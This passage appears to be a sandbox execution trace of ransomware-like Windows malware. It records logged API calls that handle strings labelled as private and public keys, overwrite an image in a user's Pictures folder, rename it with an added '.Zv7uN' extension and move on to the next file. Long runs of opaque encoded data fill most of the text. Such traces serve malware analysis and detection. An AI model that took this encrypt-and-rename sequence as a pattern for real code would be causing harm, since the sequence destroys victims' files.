BU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f375ac, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0085.037] GetCurrentThreadId () returned 0xa30 [0085.037] GetCurrentThreadId () returned 0xa30 [0085.037] GetCurrentThreadId () returned 0xa30 [0085.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0085.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f4860c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0085.038] GetCurrentThreadId () returned 0xa30 [0085.038] GetCurrentThreadId () returned 0xa30 [0085.038] GetCurrentThreadId () returned 0xa30 [0085.038] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\KdBdOCDBxl.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kdbdocdbxl.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0085.038] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0085.038] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0085.039] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xa060 [0085.039] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0085.039] ReadFile (in: hFile=0x124, lpBuffer=0x1f50410, nNumberOfBytesToRead=0xa060, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f50410*, lpNumberOfBytesRead=0x18f96c*=0xa060, lpOverlapped=0x0) returned 1 [0085.041] CloseHandle (hObject=0x124) returned 1 [0085.042] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\KdBdOCDBxl.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kdbdocdbxl.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0085.044] WriteFile (in: hFile=0x124, lpBuffer=0x1f5c440*, nNumberOfBytesToWrite=0xa060, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f5c440*, lpNumberOfBytesWritten=0x18f978*=0xa060, lpOverlapped=0x0) returned 1 [0085.047] CloseHandle (hObject=0x124) returned 1 [0085.049] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\KdBdOCDBxl.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kdbdocdbxl.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\KdBdOCDBxl.bmp.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\kdbdocdbxl.bmp.zv7un")) returned 1 [0085.049] GetCurrentThreadId () returned 0xa30 [0085.049] GetCurrentThreadId () returned 0xa30 [0085.049] GetCurrentThreadId () returned 0xa30 [0085.049] GetCurrentThreadId () returned 0xa30 [0085.050] GetCurrentThreadId () returned 0xa30 [0085.050] GetCurrentThreadId () returned 0xa30 [0085.050] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcfdc920, ftCreationTime.dwHighDateTime=0x1d5e111, ftLastAccessTime.dwLowDateTime=0x58285550, ftLastAccessTime.dwHighDateTime=0x1d5e3e2, ftLastWriteTime.dwLowDateTime=0x58285550, ftLastWriteTime.dwHighDateTime=0x1d5e3e2, nFileSizeHigh=0x0, nFileSizeLow=0x11da6, dwReserved0=0xbbc33b5c, dwReserved1=0xba1113e9, cFileName="RQwQADR.gif", cAlternateFileName="")) returned 1 [0085.050] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0085.050] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0085.050] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\RQwQADR.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rqwqadr.gif"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcfdc920, ftCreationTime.dwHighDateTime=0x1d5e111, ftLastAccessTime.dwLowDateTime=0x58285550, ftLastAccessTime.dwHighDateTime=0x1d5e3e2, ftLastWriteTime.dwLowDateTime=0x58285550, ftLastWriteTime.dwHighDateTime=0x1d5e3e2, nFileSizeHigh=0x0, nFileSizeLow=0x11da6)) returned 1 [0085.050] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\RQwQADR.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rqwqadr.gif")) returned 0x20 [0085.050] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\RQwQADR.gif", dwFileAttributes=0x80) returned 1 [0085.052] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0085.052] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f375ac, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcw